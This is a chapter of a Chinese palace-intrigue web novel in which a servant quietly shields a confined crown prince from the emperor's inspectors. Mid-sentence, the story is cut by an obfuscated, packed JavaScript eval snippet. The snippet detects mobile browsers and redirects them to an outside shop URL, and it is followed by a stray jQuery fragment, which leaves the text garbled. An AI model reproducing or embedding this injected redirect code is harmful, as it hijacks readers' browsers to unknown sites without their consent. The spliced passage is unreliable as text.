翌日清晨，静思堂迎来了一位意想不到的访客——怀恩。
老太监独自一人，提着一个食盒，步履无声地走进庭院。他脸上依旧是那副万年不变的恭谨表情，眼神却比杜少卿更加幽深难测。
“老奴奉陛下口谕，来给太子殿下送些点心。”怀恩对闻讯出来的太子行礼，声音平和。
太子神色一凛，立刻躬身：“有劳公公，儿臣谢父皇恩典。”
怀恩将食盒交给上前接过的宇文戎，却并未立刻离开。他的目光在太子略显憔悴的脸上停留片刻，又缓缓扫过收拾得异常整洁、甚至透着一丝暖意的庭院，最后，落在了垂手侍立一旁的宇文戎身上：“陛下还问起，宇文戎在此伺候，可还尽心？”
宇文戎立刻跪下：“罪役愚钝，唯知尽力。”
怀恩“嗯”了一声，走近两步，竟伸手扶了他一下：“起来吧。陛下说了，你伺候得……还算周到。” 他的手指在宇文戎手臂上停留了短短一瞬，那力道不轻不重，却带着一种评估的意味。“尤其这炭火，陛下听说静思堂昨日温暖如春，连杜大人都夸了几句。”
宇文戎心头猛地一跳。炭火！昨日他为了调节气氛、给予太子支撑，确实格外留意炭火，让它保持恒定旺盛的温暖。这细微之处，竟也被报了上去，且引起了梁帝的注意。
“此乃罪役本分。”他垂首道，声音愈发平稳。
怀恩不再看他，转向太子，语气多了几分语重心长：“殿下，陛下心里，始终是记挂着您的。只是有些事……需得慢慢来。您在此，务必保重身体，静心思过。陛下……看着呢。”
怀恩走后，太子看着那个精美的食盒，脸上没有半分喜色，反而更添了一层阴霾。父皇的“记挂”与“看着”，比杜少卿的诘问更让人感到无形的压力。
宇文戎走到炭盆边，看着里面稳定燃烧的火焰，眼神微凝。怀恩特意提及炭火……是随口一提，还是警告？
他不能让这里显得太舒适，那会让梁帝觉得太子并未受到足够的磨砺，也可能暴露自己过于刻意的维护。但也不能让太子真的受冻病倒。
接下来的两日，宇文戎调整了策略。炭火依旧保持不熄，但温度稍稍降低，维持在刚好驱散寒意却不显暖融的程度。他洒扫时，会故意留下庭院角落一小片落叶不去清扫，让庭院看起来不那么“井井有条”。太子换下的衣物，他也不再立刻浆洗得笔挺，而是稍作晾晒便收回，略显柔软褶皱。
既要让监视者看到太子在“受苦思过”，又要确保太子实际的生活底线不受损，还要继续提供那些看不见的精神支撑——比如，在太子阅读时，他会将油灯的光线调整到最护眼的角度；在太子夜半难眠时，他会“恰好”起来添炭，让那一点暖光和声响陪伴长夜。
怀恩的到来和那句关于“炭火”的话，是一个清晰的信号：梁帝的注视，比想象中更细致，也更耐心。他必须更加小心，在“尽责的仆役”和“沉默的守护者”之间，找到那条更隐晦、更安全的细线。
怀恩来访后的第五日，雪停了，天空却依旧沉郁着铅灰色的云层，压得人透不过气。静思堂的庭院里，积雪被扫到墙根，融化的雪水在午后复又冻成滑腻的冰壳，走上去需得格外小心。
宇文戎正在用旧布裹着扫帚头，一点点清理廊下冻结的薄冰。他的动作很慢，心思却全在耳中——庭院外，似乎有不同寻常的、整齐而轻微的脚步声由远及近，不止一人。
他停下动作，垂手立到廊柱旁。
院门被无声推开。进来的是四名低眉顺目、身着青色宫装的女官。她们手中各捧着一个紫檀托盘，上面覆盖着明黄锦缎。为首一位年约三十，面容端正严肃，眼神锐利如尺，目光扫过庭院，最后落在闻声从正堂走出的太子身上。
“奴婢等奉陛下旨意，为殿下送来冬衣及用物。”女官声音清亮，行礼一丝不苟。
太子颔首：“有劳。”
女官们鱼贯而入，将托盘置于堂内桌上，揭开锦缎。并非什么奢华之物：两套厚实的新棉袍，一袭玄狐皮里子的斗篷，几双加厚棉袜，另有一些笔墨纸砚和两匣新书。东西寻常，但在这个时候送来，意义非凡。既是“恩赏”，提醒太子皇恩仍在；也是“观察”，看太子对这份“恩赏”作何反应。
宇文戎在门外，目光掠过那些物品，最后落在为首那位女官的脸上。他记得她，尚服局的女史，姓严，以严谨刻板、忠于职守闻名宫中。
严女史并未立刻离去。她仔细地将物品一一清点交接，目光却仿佛不经意地扫过室内各处：炭盆的火候，窗户的密封，桌案的整洁，乃至太子身上半旧但洁净的衣裳。她的视线甚至在宇文戎刚刚清理过的、毫无冰碴的廊下地面停留了一瞬。
“陛下牵挂殿下，特意吩咐，静思堂一应起居用度，皆需妥帖。”严女史语气平直，像在宣读章程，“奴婢奉命，日后每旬会来查验一次，回禀陛下，以免下人懈怠，委屈了殿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048642|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。”
太子神色不变，只道：“父皇隆恩，儿臣感念。有劳严女史。”
严女史再次行礼，目光终于转向一直垂手侍立在门边的宇文戎。“你便是伺候殿下的宇文戎？”
“是。”宇文戎躬身。
“陛下有口谕给你。”严女史的声音陡然多了几分重量。
宇文戎立刻跪倒。
“陛下说，”严女史一字不差地复述，带着帝王口吻特有的威严，“‘静思堂清苦，太子安危体面系于尔身。用心当差，朕自有考量；若有疏忽，两罪并罚。’你可听清了？”
“罪役听清了，定当竭尽全力，不敢有丝毫疏忽。”宇文戎额头触地，声音沉稳。
严女史不再看他，对太子又行一礼，这才带着其余女官退去。她们脚步轻捷，训练有素，很快消失在院门外，仿佛从未来过，只留下桌上那些崭新的物品，和空气中一丝更加凝重的、被规则严密丈量过的压力。
太子看着那些衣物，脸上并无喜色，反而浮起一丝淡淡的嘲讽。他当然明白，这哪里是赏赐，分明是更精致的枷锁和更频繁的检查。每旬一次，意味着他连喘息的时间都被精确分割。
宇文戎起身，走到桌边，开始默默整理那些物品。他将棉袍和斗篷仔细折叠，收入一旁的柜中。笔墨纸砚摆到书案顺手的位置。新书……他拿起最上面一册，是《贞观政要》。指尖拂过封皮，他动作几不可察地顿了顿，随即如常放下。
严女史第一次旬查，在一个阴冷的上午到来。她带着两名小宫女，将静思堂里外细细检视了一遍。她问得很少，看得很多，不时用指尖拂过桌面、窗棂，检查是否有积灰。
宇文戎全程跟在后面，对答简短。当严女史的目光掠过书案上那本《贞观政要》时，随口问了一句：“殿下近日在读此书？”
太子还未答，宇文戎已先一步躬身道：“回女史，书是前日送来的，殿下尚未翻阅。殿下近日……多在抄写《孝经》静心。”
严女史“嗯”了一声，不置可否。宇文戎的回答，将太子的行为完全框定在了梁帝设定的“思过”范畴内，且暗示了新送的书并未干扰太子的“静心”。
宇文戎知道旬查会一次接一次地来。陛下的“考量”悬在头顶。太子的压力与日俱增。而他能做的，便是在这越来越狭窄的夹缝里，继续寻找那些看不见的、却真实存在的支点，支撑着这片小小的天地，不至于在无声的挤压下彻底崩塌。